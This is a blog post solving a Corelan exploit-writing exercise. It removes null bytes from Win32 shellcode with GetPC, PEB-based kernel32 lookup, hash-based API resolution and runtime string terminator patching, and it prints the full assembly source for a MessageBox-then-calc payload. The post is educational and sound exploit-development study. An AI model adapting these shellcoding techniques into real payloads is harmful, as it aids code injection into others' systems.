THE

SPRAWL

  •  
  •  
  •  
  • The Corelan Exploit writing tutorial part 9: Introduction to Win32 shellcoding contains a small exercise to make one of the sample shellcodes null byte free. The sample shellcode will pop a MessageBox with custom title and text and "OK" + "Cancel" button and based on the button you click, something else will be performed. Sounds like a great way to practice shellcode development, so let's dig in. The source asm is available here.

    Nulls are everywhere!

    First compile the sample shellcode:

    nasm shellcode.asm -o shellcode.bin
    

    and look at the disassembly using nasm:

    ndisasm -b 32 shellcode.bin
    

    Within the first few instructions it is clear we are in trouble with null bytes:

        00000000  E9E6000000        jmp dword 0xeb
        00000005  31C0              xor eax,eax
        00000007  64A130000000      mov eax,[fs:0x30]
        0000000D  8B400C            mov eax,[eax+0xc]
        00000010  8B4014            mov eax,[eax+0x14]
        00000013  8B00              mov eax,[eax]
        00000015  8B00              mov eax,[eax]
        00000017  8B4010            mov eax,[eax+0x10]
        0000001A  C3                ret
        0000001B  60                pushad
        0000001C  8B6C2424          mov ebp,[esp+0x24]
        00000020  8B453C            mov eax,[ebp+0x3c]
        00000023  8B540578          mov edx,[ebp+eax+0x78]
        00000027  01EA              add edx,ebp
        00000029  8B4A18            mov ecx,[edx+0x18]
        0000002C  8B5A20            mov ebx,[edx+0x20]
        0000002F  01EB              add ebx,ebp
        00000031  E334              jecxz 0x67
        00000033  49                dec ecx
        00000034  8B348B            mov esi,[ebx+ecx*4]
        00000037  01EE              add esi,ebp
        00000039  31FF              xor edi,edi
        0000003B  31C0              xor eax,eax
        0000003D  FC                cld
        0000003E  AC                lodsb
        0000003F  84C0              test al,al
        00000041  7407              jz 0x4a
        00000043  C1CF0D            ror edi,0xd
        00000046  01C7              add edi,eax
        00000048  EBF4              jmp short 0x3e
        0000004A  3B7C2428          cmp edi,[esp+0x28]
        0000004E  75E1              jnz 0x31
        00000050  8B5A24            mov ebx,[edx+0x24]
        00000053  01EB              add ebx,ebp
        00000055  668B0C4B          mov cx,[ebx+ecx*2]
        00000059  8B5A1C            mov ebx,[edx+0x1c]
        ...
    

    Generating a C compatible output using pveReadbin.pl shows 30 null bytes:

    Reading shellcode.bin
    Read 324 bytes
    
    "\xe9\xe6\x00\x00\x00\x31\xc0\x64"
    "\xa1\x30\x00\x00\x00\x8b\x40\x0c"
    "\x8b\x40\x14\x8b\x00\x8b\x00\x8b"
    "\x40\x10\xc3\x60\x8b\x6c\x24\x24"
    "\x8b\x45\x3c\x8b\x54\x05\x78\x01"
    ...
    "\xff\xe9\x60\xff\xff\xff\x5b\xe9"
    "\x67\xff\xff\xff\x59\x31\xd2\x6a"
    "\x01\x53\x51\x52\xff\xd0\x31\xdb"
    "\x39\xd8\x74\x0a\xeb\x81\x5b\x31"
    "\xc0\x50\x53\xff\x55\x0c\x31\xc0"
    "\x50\xff\x55\x08";
    
    Number of null bytes : 30
    

    Introducing GetPC

    Let's start cleaning the shellcode by sections. The first series of nulls are caused by the forward jump to the start_main label located at the end of the shellcode.

    00000000  E9E6000000        jmp dword 0xeb
    

    These nulls can be removed by obtaining an absolute address with one of the GetPC techniques covered in the tutorial and jumping to an absolute address of the start_main label as follows:

    ; GetPC using FSTENV technique 
    FLDPI
    FSTENV [ESP-0xC]
    pop ebx       ; put address of FLDPI into ebx
    
    xor eax,eax   ;zero out eax register
    mov al,0xeb   ;offset to start_main
    
    add ebx,eax   ;calculate start_main absolute address
    jmp ebx       ;jump to start_main
    

    Unfortunately, the above snippet will break because the offset 0xeb is no longer correct. Before we made any changes, the address of jmp dword 0xeb (E9E6000000) was used to calculate the offset 0xeb. The instruction is exactly 5 bytes long. However, looking at the disassembly of the newly added GetPC code we have now inserted additional 16 bytes:

    00000000  D9EB              fldpi
    00000002  9BD97424F4        fstenv [esp-0xc]
    00000007  5D                pop ebp
    00000008  31C0              xor eax,eax
    0000000A  B0EB              mov al,0xeb
    0000000C  01C5              add ebp,eax
    0000000E  FFE5              jmp ebp
    

    As a result, the offset 0xeb needs to be adjusted as follows 0xeb + (0x10 - 0x5) = 0xf6. Below is an updated working snippet:

    ; GetPC using FSTENV technique 
    FLDPI
    FSTENV [ESP-0xC]
    pop ebp       ; put absolute base address in ebx
    
    xor eax,eax   ;zero out eax register
    mov al,0xf6   ;offset to start_main
    
    add ebp,eax   ;calculate start_main absolute address
    jmp ebp       ;jump to start_main
    

    Find Kernel32

    The next section containing null bytes is the find_kernel32 function:

    00000005  31C0              xor eax,eax
    00000007  64A130000000      mov eax,[fs:0x30]
    0000000D  8B400C            mov eax,[eax+0xc]
    00000010  8B4014            mov eax,[eax+0x14]
    00000013  8B00              mov eax,[eax]
    00000015  8B00              mov eax,[eax]
    00000017  8B4010            mov eax,[eax+0x10]
    0000001A  C3                ret
    

    It is possible to get creative here by splitting up mov eax,[fs:0x30] and replacing mov eax,[eax] with null free equivalents; however, skylined already came up with a highly optimized, null-free find_kernel32 algorithm so it will be used verbatim here:

    find_kernel32:
      xor ecx, ecx ; ECX = 0
      mov esi, [fs:ecx + 0x30]        ; ESI = &(PEB) ([FS:0x30])
      mov esi, [esi + 0x0c]           ; esi = peb->ldr
      mov esi, [esi + 0x1c]           ; esi = peb->ldr.ininitorder
    next_module:
      mov eax, [esi + 0x08]           ; eax = ininitorder[x].base_address
      mov edi, [esi + 0x20]           ; eax = ininitorder[x].module_name (unicode)
      mov esi, [esi]                  ; esi = ininitorder[x].flink (next module)
      cmp [edi + 12*2], cl            ; modulename[12] == 0 ?
      jne next_module                 ; no: try next module.  
      ret
    

    NOTE: The only modification from the original was the change from ebp to eax to make the snippet compatible with the sample shellcode.

    String addresses

    The next set of null bytes comes from return calls in GetTitle, GetText, GetArg, GetUser32, GetHashes and GetMsgBoxHash labels. For example, the following call to TitleReturn label introduces three extra null bytes:

    0000007E  E89B000000        call dword 0x11e
    

    This call was introduced in order to obtain the absolute address of a string (call pushes address of the next instruction on the stack). One solution to remove nulls is to remove the forward call in the first place and push bytes on the stack inplace; however, this approach reduces readability of the shellcode and makes it harder to change.

    In the spirit of "try harder"(tm) another solution is to convert jumps to GetTitle and other labels into calls thus allowing us to use preserved absolute return addreses on the stack in order to come back to the calling code. This solution will require an additional utility function called GetAddress. Here is a snippet of assembly code that will make this happen:

    GetAddress: <----(2)---+
        push dword [esp+4] |
        ret ---------(3)-------+
                           |   |
    GetTitle: <------------|-+ |
        call GetAddress ---+ | |
        db "Corelan"         | |
        db 0x00              | |
                             | |
    call GetTitle +---(1)----+ |
    next instruction <---------+
    

    In the snippet above, the start_main section will execute the call GetTitle instruction thus placing the next instruction address on the stack and transferring execution flow to the GetTitle function. The GetTitle function will immediately make a call to GetAddress which will also place an address of the next instruction (in this case an address of the string "Corelan") and transfer the execution to GetAddress. GetAddress is a simple utility function which places the address of the instruction immediately following the original call to GetTitle inside the start_main section on top of the stack and returning to it. However, because the address of the string "Corelan" is now on top of the stack, it will be used by the shellcode as it was previously. As a result of this stack acrobatics we have removed all of the null bytes caused by forward calls.

    NOTE: This algorithm could be optimized to exchange [esp] and [esp+4] instead of simply pushing [esp+4] on top of the stack; however, in the interest of keeping the shellcode size to the minimum I have decided not to implement this at the expense of small overhead in stack size.

    Null string terminators

    At this point, there are only 4 null bytes left in the shellcode caused by null string terminators such as the one below:

    db "Corelan"       ; Write the raw bytes into the shellcode 
    db 0x00            ; Terminate our string with a null character.
    

    Let's introduce some additional code that will find the first non-ascii charachter immediately following an ascii string and replace it with a null byte. Let's call it GetAscii:

    GetAscii:
        pushad                  ; preserve registers on the stack
        mov ebx,[esp+0x20]      ; get string address from esp
        xor edx,edx             ; zero out edx
    
    findnull_loop:
        inc edx                 ; increment counter
        cmp byte [ebx+edx],0x20 ; check if less than printable ascii
        jl foundnull            ; found null candidate
        cmp byte [ebx+edx],0x7e ; check the current value is ascii or above
        jg foundnull            ; check if greater than printable ascii
        jmp findnull_loop       ; keep on looking
    
    foundnull:
        xor eax,eax             ; zero out eax
        mov [ebx+edx],al        ; snipe a null byte
    
        popad                   ; restore registers from the stack
        jmp GetAddress          ; preserve string address and return
    

    The above function accepts input from one of the return string functions (e.g. GetTitle). At the time GetAscii is called, the top of the stack should contain the address of the string. The loop in the function will iterate the string until it encounters the first non-ASCII printable charachter (e.g. 0x11) indicating end of the string. The function will then replace the non-ASCII character with null and continue execution by calling GetAddress which will in return back to the start_main section.

    Here is some more ASCII art to help you visualize the above:

    GetAddress: <----(3)---+
        push dword [esp+4] |
        ret ---------(4)---|---+
                           |   |
    GetAscii: <------(2)-+ |   |
        findnull_loop:   | |   |
        jmp GetAddress +-|-+   |
                         |     |
    GetTitle: <----------|---+ |
        call GetAscii ---+   | |
        db "Corelan"         | |
        db 0x00              | |
                             | |
    call GetTitle +---(1)----+ |
    next instruction <---------+
    

    For this example, I have replace null bytes with 0x11 as follows:

    db "user32.dll"   ; Write the raw bytes into the shellcode 
    db 0x11           ; Terminate our string with a null character.
    

    Assembling the above shellcode and using Corelan's pveReadbin.pl script we can confirm that there are no more null bytes left.

    Reading nullfreeshellcode.bin
    Read 382 bytes
    
    "\xd9\xeb\x9b\xd9\x74\x24\xf4\x5d"
    "\x31\xc0\x66\xb8\x19\x01\x01\xc5"
    "\xff\xe5\x31\xc0\x31\xdb\xb3\x30"
    "\x64\x8b\x03\x8b\x40\x0c\x8b\x70"
    ...
    "\xe8\x57\xff\xff\xff\x5b\xe8\x5e"
    "\xff\xff\xff\x59\x31\xd2\x6a\x01"
    "\x53\x51\x52\xff\xd0\x31\xdb\x39"
    "\xd8\x74\x0d\xe8\x75\xff\xff\xff"
    "\x5b\x31\xc0\x50\x53\xff\x55\x0c"
    "\x31\xc0\x50\xff\x55\x08";
    
    Number of null bytes : 0
    

    A small bug

    As a bonus, there is a small bug in the shellcode which executes calc regardless of which button was pressed. It can be easily corrected by only launching the calculator when the value in EAX returned by the MessageBoxA call is 0x1. When a user presses Cancel or closes the window, the returned value is 0x2 and not 0x0 as written in the original shellcode. Here is the corrected snippet:

    xor ebx,ebx
    inc ebx
    cmp eax,ebx     ;if OK button was pressed, return is 1
    jne done        ;jump if anything else was pressed
    

    Now the shellcode will execute calc only when OK button was pressed.

    Putting everything together

    Below is a complete modified null-free shellcode source based on the original from the tutorial:

    ; Sample shellcode that will pop a MessageBox
    ; with custom title and text and "OK" + "Cancel" button
    ; and based on the button you click, something else
    ; will be performed
    ; Written by Peter Van Eeckhoutte
    ; http://www.corelan.be:8800
    ; Modified to remove null bytes by iphelix
    ; http://thesprawl.org
    
    [Section .text]
    [BITS 32]
    
    global _start
    
    _start:
    
      ; GetPC using FSTENV technique 
      FLDPI
      FSTENV [ESP-0xC]
      pop ebp      ;put absolute base address in ebx
      xor eax,eax  ;zero out eax register
      mov ax,0x11f ;calculated offset
      add ebp,eax  ;calculate start_main address
      jmp ebp      ;jump to start_main
    
    ;===========FUNCTIONS=============
    ;=======Function : Get Kernel32 base address============
    ;Technique : skylined InInitializationOrder
    find_kernel32:
      xor ecx, ecx              ; ECX = 0
      mov esi, [fs:ecx + 0x30]  ; ESI = &(PEB) ([FS:0x30])
      mov esi, [esi + 0x0c]     ; esi = peb->ldr
      mov esi, [esi + 0x1c]     ; esi = peb->ldr.ininitorder
    next_module:
      mov eax, [esi + 0x08]     ; eax = ininitorder[x].base_address
      mov edi, [esi + 0x20]     ; eax = ininitorder[x].module_name (unicode)
      mov esi, [esi]            ; esi = ininitorder[x].flink (next module)
      cmp [edi + 12*2], cl      ; modulename[12] == 0 ?
      jne next_module           ; no: try next module.  
      ret
    
    ;=======Function : Find function base address============
    find_function:
    pushad                      ;save all registers
    mov ebp, [esp + 0x24]       ;put base address of module that is being 
                                ;loaded in ebp
    mov eax, [ebp + 0x3c]       ;skip over MSDOS header
    mov edx, [ebp + eax + 0x78] ;go to export table and put relative address 
                                ;in edx
    add edx, ebp                ;add base address to it. 
                                ;edx = absolute address of export table
    mov ecx, [edx + 0x18]       ;set up counter ECX 
                                ;(how many exported items are in array ?)
    mov ebx, [edx + 0x20]       ;put names table relative offset in ebx
    add ebx, ebp                ;add base address to it. 
                                ;ebx = absolute address of names table
    
    find_function_loop:
    jecxz find_function_finished;if ecx=0, then last symbol has been checked.
                                ;(should never happen)
                                ;unless function could not be found
    dec ecx                     ;ecx=ecx-1
    mov esi, [ebx + ecx * 4]    ;get relative offset of the name associated 
                                ;with the current symbol
                                ;and store offset in esi
    add esi, ebp                ;add base address. 
                                ;esi = absolute address of current symbol
    
    compute_hash:
    xor edi, edi                ;zero out edi
    xor eax, eax                ;zero out eax
    cld                         ;clear direction flag. 
                                ;will make sure that it increments instead of 
                                ;decrements when using lods*
    
    compute_hash_again:
    lodsb                       ;load bytes at esi (current symbol name) 
                                ;into al, + increment esi
    test al, al                 ;bitwise test : 
                                ;see if end of string has been reached
    jz compute_hash_finished    ;if zero flag is set = end of string reached
    ror edi, 0xd                ;if zero flag is not set, rotate current 
                                ;value of hash 13 bits to the right
    add edi, eax                ;add current character of symbol name 
                                ;to hash accumulator
    jmp compute_hash_again      ;continue loop
    
    compute_hash_finished:
    
    find_function_compare:
    cmp edi, [esp + 0x28]     ;see if computed hash matches requested hash (at esp+0x28)
                     ;edi = current computed hash
                     ;esi = current function name (string)
    jnz find_function_loop       ;no match, go to next symbol
    mov ebx, [edx + 0x24]     ;if match : extract ordinals table 
                     ;relative offset and put in ebx
    add ebx, ebp          ;add base address. 
                     ;ebx = absolute address of ordinals address table
    mov cx, [ebx + 2 * ecx]   ;get current symbol ordinal number (2 bytes)
    mov ebx, [edx + 0x1c]     ;get address table relative and put in ebx
    add ebx, ebp          ;add base address. 
                     ;ebx = absolute address of address table
    mov eax, [ebx + 4 * ecx]  ;get relative function offset from its ordinal and put in eax
    add eax, ebp          ;add base address. 
                     ;eax = absolute address of function address
    mov [esp + 0x1c], eax     ;overwrite stack copy of eax so popad 
                     ;will return function address in eax
    find_function_finished:
    popad               ;retrieve original registers. 
                    ;eax will contain function address
    ret
    
    ;=======Function : loop to lookup functions for a given dll (process all hashes)============
    find_funcs_for_dll:
      lodsd           ;load current hash into eax (pointed to by esi)
      push eax        ;push hash to stack
      push edx        ;push base address of dll to stack
      call find_function
      mov [edi], eax      ;write function pointer into address at edi
      add esp, 0x08
      add edi, 0x04       ;increase edi to store next pointer
      cmp esi, ecx      ;did we process all hashes yet ? 
      jne find_funcs_for_dll  ;get next hash and lookup function pointer
    find_funcs_for_dll_finished:
      ret
    
    GetAddress:
      push dword [esp+4]
      ret        ; return to the original caller
    
    GetAscii:
      pushad                ; preserve registers on the stack
      mov ebx,[esp+0x20]    ; get string address from esp
      xor edx,edx           ; zero out edx
    findnull_loop:
      inc edx                   ; increment counter
      cmp byte [ebx+edx],0x20   ; check if less than printable ascii
      jl foundnull              ; found null candidate
      cmp byte [ebx+edx],0x7e   ; check the current value is ascii or above
      jg foundnull              ; check if greater than printable ascii
      jmp findnull_loop         ; keep on looking
    
    foundnull:
      xor eax,eax       ; zero out eax
      mov [ebx+edx],al  ; snipe a null byte
    
      popad             ; restore registers from the stack
      jmp GetAddress    ; preserve string address and return
    
    
    ;=======Function : Get pointer to MessageBox Title============
    GetTitle:           ; Define label for location of winexec argument string
      call GetAscii     ; call return label so the return address 
                        ; (location of string) is pushed onto stack
      db "Corelan"      ; Write the raw bytes into the shellcode 
      db 0x11           ; Terminate our string with a null character.
    
    ;=======Function : Get pointer to MessageBox Text============
    GetText:            ; Define label for location of msgbox argument string
      call GetAscii     ; call return label so the return address 
                        ; (location of string) is pushed onto stack
      db "Are you sure you want to launch calc ?" ; Write the raw bytes into the shellcode 
      db 0x11           ; Terminate our string with a null character.
    
    ;=======Function : Get pointer to winexec argument calc============
    GetArg:             ; Define label for location of winexec argument string
      call GetAscii     ; call return label so the return address 
                        ; (location of string) is pushed onto stack
      db "calc"         ; Write the raw bytes into the shellcode 
      db 0x11           ; Terminate our string with a null character.
    
    ;=======Function : Get pointer to user32.dll text============
    GetUser32:          ; Define label for location of user32.dll string
      call GetAscii     ; call return label so the return address 
                        ; (location of string) is pushed onto stack
      db "user32.dll"   ; Write the raw bytes into the shellcode 
      db 0x11           ; Terminate our string with a null character.
    
    ;=======Function : Get pointers to function hashes============
    
    GetHashes:
      call GetAddress
      ;LoadLibraryA hash : 0x8E4E0EEC
      db 0x8E      
      db 0x4E
      db 0x0E
      db 0xEC
    
      ;ExitProcess  hash = 0x7ED8E273
      db 0x7E
      db 0xD8
      db 0xE2
      db 0x73
    
      ;WinExec      hash = 0x98FE8A0E
      db 0x98
      db 0xFE
      db 0x8A
      db 0x0E
    
    GetMsgBoxHash:
       call GetAddress  
       ;MessageBoxA hash = 0xA8A24DBC
       db 0xA8
       db 0xA2
       db 0x4D
       db 0xBC
    
    ;====================================================================
    ;=================== MAIN APPLICATION ===============================
    ;====================================================================
    
    start_main:
      sub esp,0x0c;allocate space on stack to store 3 things :
                  ;in this order : ptr to LoadLibraryA, ExitProc, WinExec
      mov ebp,esp ;set ebp as frame ptr for relative offset
                  ;so we will be able to do this:
                  ;call ebp+4   = Execute LoadLibraryA
                  ;call ebp+8   = Execute ExitProcess
                  ;call ebp+c   = Execute WinExec
    
      call find_kernel32
    
      mov edx,eax ;save base address of kernel32 in edx
                  ;locate functions inside kernel32 first
      call GetHashes ;get address of first (LoadLibrary) hash
      pop esi     ;get pointer to hash into esi
      lea edi, [ebp+0x4]    ;we will store the function addresses at edi
                  ;(edi will be increased with 0x04 for each hash)
                  ;(see resolve_symbols_for_dll)
      mov ecx,esi       
      add ecx,0x0c      ; store address of last hash into ecx
      call find_funcs_for_dll ; get function pointers for the 2 
                  ; kernel32 function hashes 
                  ; and put them at ebp+4 and ebp+8
    
    
    ;====================================================================
    ;locate function in user32.dll
    
      call GetUser32 ;loadlibrary first - so first put pointer to string user32.dll to stack
      call [ebp+0x4] ;pointer to "user32.dll" is now on top of stack, so just call LoadLibrary
                     ;the base address of user32.dll is now in eax (if loaded correctly)
      mov edx,eax    ;put it in edx so it can be used in find_function
    
    ;====================================================================  
    ;find the MessageBoxA function
    
      call GetMsgBoxHash ;first get pointer to function hash
      pop esi         ;put pointer in esi and prepare to look up function
      lodsd           ;load current hash into eax (pointed to by esi)
      push eax        ;push hash to stack
      push edx        ;push base address of dll to stack
      call find_function
                      ;function address should be in eax now
                      ;we'll keep it there  
      call GetTitle   ;jump to the location 
                      ;of the MsgBox Title string
      pop ebx         ;ebx now points to Title string
    
      call GetText    ;jump to the location 
                      ;of the MsgBox Text string
      pop ecx         ;ecx now points to Text string
    
    ;now push parameters to the stack
      xor edx,edx     ;zero out edx
      push 1          ;put 1 on stack   (buttontype 1 = ok+cancel)
      push ebx        ;put pointer to Title on stack  
      push ecx        ;put pointer to Text on stack  
      push edx        ;put 0 on stack  (hOwner)
      call eax        ;call MessageBoxA(0,Text,Title,0)
    
    ;return value of MessageBox is in eax
    ;do we need to launch calc ?  (so if eax!=1)
      xor ebx,ebx
      inc ebx
      cmp eax,ebx     ;if OK button was pressed, return is 1
      jne done        ;jump if anything else was pressed
    ;if we need to launch calc
      call GetArg
    
    ;execute calc
      pop ebx
      xor eax,eax
      push eax
      push ebx
      call [ebp+0xc]
    
    ;ExitFunc
    done:
      xor eax,eax  ;zero out eax 
      push eax     ;put 0 on stack
      call [ebp+8] ;ExitProcess(0)
    

    External Links and References

    Special Note

    As always thank you Peter and the Corelan team for countless hours of fun learning from the exploitation tutorial series.

    Published on June 18th, 2012 by iphelix

    sprawlsimilar

    corelan - tutorial 10 - exercise solution

    A solution to an exercise in Corelan Tutorial 10 on writing DEP and ASLR bypassing exploits. The solution illustrates grabbing leaked kernel32 address from memory, calculating an offset to VirtualProtect() and at last setting up a ROP chain to make a memory location with shellcode executable. Read more.

    ida patcher

    Download idapatcher-1.2.zip
    Size 6.0 KB
    DateSeptember 13th, 2014
    Version1.2

    IDA Patcher is a plugin for Hex-Ray's IDA Pro disassembler designed to enhance IDA's ability to patch binary files and memory. The plugin is useful for tasks related to malware analysis, exploit development as well as bug patching. IDA Patcher blends into the standard IDA user interface through the addition of a subview and several menu items. Read more.

    corelan - tutorial 3b - exercise solution

    A solution to the MP3 Studio exercise at the end of the Exploit Writing Tutorial Part 3b by Corelan Team. The solution illustrates a sample buffer overflow exploitation of a Windows application. Read more.

    corelan - tutorial 7 - exercise solution

    A solution to the AIMP2 exercise at the end of the Exploit Writing Tutorial Part 7 by Corelan Team. The solution illustrates a exploitation of Unicode applications using Venetian shellcoding techniques. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\